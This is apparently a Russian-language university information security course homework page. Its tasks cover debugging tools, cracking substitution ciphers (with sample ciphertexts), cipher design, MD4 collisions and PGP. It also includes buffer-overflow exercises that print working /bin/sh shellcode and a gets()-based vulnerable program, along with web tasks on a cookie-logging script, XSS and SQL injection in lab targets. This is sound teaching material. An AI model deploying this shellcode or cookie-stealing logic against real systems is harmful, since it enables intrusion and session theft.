Домашние задания по курсу

1. Задания по вводной лекции

  1. Посмотреть на память процесса с помощью gdb (надо расписать + взять из howto по gdb простейшие команды для просмотра секций)

  2. Сравнить вывод strace ls с выводом strace ls -l, выделить те системные вызовы, которые работают с файлами, выписать их реальную наблюдаемую последовательность в обоих случаях.

  3. Собрать и сравнить определения конфиденциальности, целостности и доступности в orange book 1980-х, в common criteria, ISO 27001 и стандарте Банка России
  4. Дана программа:

   1 #include "stdio.h" 
   2 
   3 void print_scrambled(char *message) { 
   4    int i = 3; 
   5    do { printf("%c", (*message)+i); } 
   6    while (*++message); 
   7    printf("\n"); 
   8 } 
   9 
  10 int main() { 
  11    char * bad_message = NULL; 
  12    char * good_message = "Hello, world."; 
  13    print_scrambled(good_message); 
  14    print_scrambled(bad_message); 
  15 } 

Требуется:

Сохранить листинг от начала до конца и отправить на проверку на адрес одного из лекторов.

2. Задание по первой лекции главы "Криптография" - симметричные шифры

Необходимо разработать программу на одном языке из множества [С,С++,Haskell,Erlang,python], которая бы могла взламывать шифры простой замены методом частотного анализа.

Программа должна состоять из двух модулей:

Дополнительные особенности:

оператора при формировании гипотез о подстановке символов.

Интерфейс программы: командная строка

Вход программы: ключи командной строки, задающие гипотезы о языке текста, кодировке, путь к файлу с шифротекстом (иначе - стандартный ввод), пути к словарям, путь к выходному файлу (опционально), ключ для интерактивного режима (для приёма подсказок от оператора со стандартного ввода)

Выход программы: выходной файл, содержащий расшифрованное сообщение (если путь к нему не задан, выводить в стандартный вывод)

Использование сторонних библиотек: Допускается использование сторонних библиотек для реализации работы с окружением - например, с кодировками, с сериализацией структур данных для хранения в файле и загрузке из него и т.п.

Соглашения по оформлению: Сборка не должна зависеть от каких-нибудь IDE, т.е. допускаются варианты с make, autotools, cmake, qmake. Задание можно присылать в виде tar.gz или в виде ссылки на публичный репозиторий GIT или Subversion.

Калибровочные данные:

Шифротекст 1. OT IXEVZGTGREYOY, LXKWAKTIE GTGREYOY OY ZNK YZAJE UL ZNK LXKWAKTIE UL RKZZKXY UX MXUAVY UL RKZZKXY OT G IOVNKXZKDZ. ZNK SKZNUJ OY AYKJ GY GT GOJ ZU HXKGQOTM IRGYYOIGR IOVNKXY.

LXKWAKTIE GTGREYOY OY HGYKJ UT ZNK LGIZ ZNGZ, OT GTE MOBKT YZXKZIN UL CXOZZKT RGTMAGMK, IKXZGOT RKZZKXY GTJ IUSHOTGZOUTY UL RKZZKXY UIIAX COZN BGXEOTM LXKWAKTIOKY. SUXKUBKX, ZNKXK OY G INGXGIZKXOYZOI JOYZXOHAZOUT UL RKZZKXY ZNGZ OY XUAMNRE ZNK YGSK LUX GRSUYZ GRR YGSVRKY UL ZNGZ RGTMAGMK. LUX OTYZGTIK, MOBKT G YKIZOUT UL KTMROYN RGTMAGMK, K, Z, G GTJ U GXK ZNK SUYZ IUSSUT, CNORK F, W GTJ D GXK XGXK. ROQKCOYK, ZN, KX, UT, GTJ GT GXK ZNK SUYZ IUSSUT IUSSUT VGOXY UL RKZZKXY (ZKXSKJ HOMXGSY UX JOMXGVNY), GTJ YY , KK , ZZ , GTJ LL GXK ZNK SUYZ IUSSUT XKVKGZY.[1] ZNK TUTYKTYK VNXGYK "KZGUOT YNXJRA" XKVXKYKTZY ZNK 12 SUYZ LXKWAKTZ RKZZKXY OT ZEVOIGR KTMROYN RGTMAGMK ZKDZ.

OT YUSK IOVNKXY, YAIN VXUVKXZOKY UL ZNK TGZAXGR RGTMAGMK VRGOTZKDZ GXK VXKYKXBKJ OT ZNK IOVNKXZKDZ, GTJ ZNKYK VGZZKXTY NGBK ZNK VUZKTZOGR ZU HK KDVRUOZKJ OT G IOVNKXZKDZ-UTRE GZZGIQ.

Шифротекст 2. EJDKLJ LMDLYXTJZAXVVS HKYYDKGWMW NS ZGWD-MKYDTMXG YDCXGAM VXGLKXLMH, NXHFKM ZH AVXHHZIZMW XH X VXGLKXLM ZHDVXEM. ZE ZH EJM VXHE YMCXZGZGL TYM-ZGWD-MKYDTMXG VXGLKXLM ZG QMHEMYG MKYDTM. ADGHMFKMGEVS, ZEH TYMJZHEDYS CXS GDE NM YMADGHEYKAEZNVM NS CMXGH DI EJM ADCTXYXEZOM CMEJDW MPAMTE NS XTTVSZGL ZE ED WZIIMYMGAMH NMEQMMG WZXVMAEH QZEJZG EJM VXGLKXLM. VZEEVM ZH BGDQG DI ZEH DYZLZGH NKE ZE ZH VZBMVS EJXE XG MXYVS IDYC DI EJM NXHFKM VXGLKXLM QXH TYMHMGE ZG QMHEMYG MKYDTM NMIDYM EJM XYYZOXV DI EJM ZGWD-MKYDTMXG VXGLKXLMH ED EJM XYMX.

VXEZG ZGHAYZTEZDGH ZG XFKZEXGZX TYMHMYOM X GKCNMY DI QDYWH QZEJ ADLGXEMH ZG YMADGHEYKAEMW TYDED-NXHFKM, IDY ZGHEXGAM EJM TMYHDGXV GXCMH GMHAXED XGW AZHDG (GMHBXED XGW LZRDG CMXG "SDKGL LZYV" XGW "CXG" YMHTMAEZOMVS ZG CDWMYG NXHFKM). EJZH VXGLKXLM ZH LMGMYXVVS YMIMYYMW ED XH XFKZEXGZXG XGW ZH XHHKCMW ED JXOM NMMG HTDBMG ZG EJM XYMX NMIDYM EJM YDCXG ADGFKMHEH ZG EJM QMHEMYG TSYMGMMH. YDCXG GMLVMAE DI EJZH XYMX XVVDQMW XFKZEXGZXG ED HKYOZOM QJZVM EJM ZNMYZXG XGW EXYEMHHZXG VXGLKXLMH NMAXCM MPEZGAE. EJYDKLJ EJM VDGL ADGEXAE QZEJ YDCXGAM VXGLKXLMH, NXHFKM XWDTEMW X HZRXNVM GKCNMY DI YDCXGAM QDYWH. ZGZEZXVVS EJM HDKYAM QXH VXEZG, VXEMY LXHADG (X NYXGAJ DI DAAZEXG) ZG EJM GDYEJMXHE, GXOXYYD-XYXLDGMHM ZG EJM HDKEJMXHE XGW HTXGZHJ ZG EJM HDKEJQMHE.

3. Задание по второй лекции по криптографии - Создание алгоритма симметричного шифрования и его криптоанализ

Задание групповое, и состоит из двух этапов. На первом этапе группа создаёт симметричный шифр и реализует его в виде программы, шифрующей файлы. На втором этапе группы проводят plaintext атаку на реализации других групп.

Подзадача 1: алгоритм шифрования должен представлять собой сеть Фейстеля или PSN с фиксированным размером блока (от 64 до 512 бит), фиксированным размером ключа (не более 64 бит), и любым числом раундов. Алгоритм генерации ключей раундов из исходного ключа может быть любой. Реализация должна представлять собой программу с command line интерфейсом для шифрования и расшифровки файлов. Реализация должна представлять собой проект, компилируемый под Linux стандартными средствами (компилятор gcc, сборка make, cmake. qmake, возможно использования automake/autoconf, все необходимые зависимости должны быть указаны в файлах README/INSTALL в репозитории, наличие или отсутствие необходимых библиотек система сборки должна определять самостоятельно). Реализация должна быть опубликована в виде исходных текстов на GIT или Subversion репозитории с публичным доступом. Реализация должна принимать следующие ключи: "-h/--help" - вывод подсказки, "-e/--encrypt,-d/--decrypt" - зашифровать или расшифровать, "-i/--input" - имя входного файла, "-o/--output" - имя выходного файла. Ключ должен вводиться в диалоговом режиме после запуска программы, и не должен отображаться на экране (экранирование звёздочками).

Подзадача 2: для каждой опубликованной реализации задан файл, зашифрованный с её помощью, размер исходного файла не известен, как и его содержимое. Известно, что входной файл - текст ASCII. Необходимо с помощью plaintext атаки на реализацию восстановить ключ шифрования и исходный файл (его содержимое). Атаковать можно любое число реализаций.

4. Задание по третьей лекции по криптографии - коллизии MD4

Найти произвольные два текста, которые имеют одинаковый хэш MD4. Прислать оба текста, соответствующий хэш и исходник генератора коллизий. Ограничение: хэши, которые найдутся поисковыми системами, приняты не будут.

5. Задание по четвёртой лекции по криптографии - PGP

Сгенерировать PGP-ключ, выложить на один из серверов ключей. Принести на PGP keysigning party распечатанный ID ключа, его фингерпринт и какое-нибудь удостоверение личности. См. PGP keysigning party howto: http://malpaso.ru/gpg-keysigning-party/

6. Задание по первой лекции по уязвимостям

Дана программа:

   1 #include "stdio.h" 
   2 
   3 void print_scrambled(char *message) { 
   4    int i = 3; 
   5    do { printf("%c", (*message)+i); } 
   6    while (*++message); 
   7    printf("\n"); 
   8 } 
   9 
  10 int main() { 
  11    char * bad_message = NULL; 
  12    char * good_message = "Hello, world."; 
  13    print_scrambled(good_message); 
  14    print_scrambled(bad_message); 
  15 } 

Требуется:

7. Задание по второй лекции по уязвимостям - переполение буфера

   1 char shellcode[] =    
   2         "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
   3         "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
   4         "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
   5 
   6     
   7 int main()
   8 {
   9   int *ret;
  10   ret = (int *)&ret + 2;
  11   (*ret) = (int)shellcode;
  12 }

   1 void return_input (void)
   2 { 
   3    char array[30]; 
   4    gets (array); 
   5    printf("%s\n", array); 
   6 }
   7 
   8 int main() 
   9 { 
  10    return_input(); 
  11    return 0; 
  12 }

Результат выполнения заданий: архив с исходными текстами уязвимых программ, скрипт для компиляции и запуска программы с параметрами, необходимыми для успешной эксплуатации. Текстовый вывод успешного запуска атаки на вашем компьютере.

Задания по лекции "Основы веб-технологий"

1. Реализуйте общую инфраструктуру, на которой вы будете выполнять все задания (рекомендуется использовать виртуальные машины). Установите две различные технологии поддержки веб-приложений. Рекомендуется выбрать из числа: Apache + PHP, Apache + mod_python, IIS + ASP, Tomcat + J2EE (сервлеты и JSP), Django, Ruby on Rails. 2. Напишите под выбранные технологии модуль, который принимает входный параметр с именем id и выводит его значение в HTTP-ответ.

   1 POST /path/program?key1=val1
   2 Host: server
   3 Content-Length: 9
   4 
   5 key1=val2

2. Напишите под выбранные технологии модуль, который принимает HTTP-запрос и выводит все заголовки из него в HTTP-ответ.

3. Напишите под выбранные технологии модуль, который принимает HTTP-запрос и выводит все имена и значения cookies из него в HTTP-ответ.

4. Пусть HTML-документ открывается локально (double-click по файлу или в адресной строке использовать схему file:// и путь к файлу). Можно ли в этом документе использовать JavaScript, чтобы считывать локальные файлы с помощью схемы file://?

5. Попробуйте осуществить кросс-доменный XMLHttpRequest из-под разных браузеров. Опишите увиденную реакцию.

6. Чем отличается Same Origin Policy для JavaScript от Same Origin Policy для Java-апплетов?

7. Найдите и опишите как можно больше способов сделать кросс-доменные запросы.

8. Разместите на своем веб-сервере статический HTML-документ, в котором опишите веб-форму в двумя-тремя тектовыми полями. Проведите следующие тесты (воспользуйтесь браузером для запроса этого подготовленного HTML-документа):

9. Как можно отправить форму без кнопки submit?

10. Заставьте браузер сделать HTTP-запрос при обработки стиля, описание которого содержится в CSS-файле.

11. Смоделируйте ситуации, в которых при обработке тега <img> браузер сгенерирует событие onerror. Опишите эти ситуации.

p.s. Замечание. Разрабатывая модули в тестовых целях, мы не адресуем вопросы безопасности, например XSS.

Задания по лекции "Уязвимости в веб-приложениях. Часть I: SQLi"

1. Максимально далеко пройдите в лабораторной работе от Дмитрия Евтеева. Лабораторная работа представляет собой задания по эксплуатации SQLi. Уязвимые модули под управлением веб-сервера подготовлены на специальной виртуальной машине, которая доступна для скачивания отсюда.

2. Установить HacMe Bank v2 (нюансы установки) и найти там SQLi. Какие технические цели можно достичь, используя эту уязвимость? Перечислите их и опишите методы достижения.

Задания по лекции "Уязвимости в веб-приложениях. Часть II: XSS"

1. Напишите и разверните на локальном веб-сервере скрипт для протоколирования cookie.

2. Установите HacMe Bank v2 и найдите там XSS

Infosec: tasks (last edited 2013-11-20 18:00:16 by Dennis Gamayunov)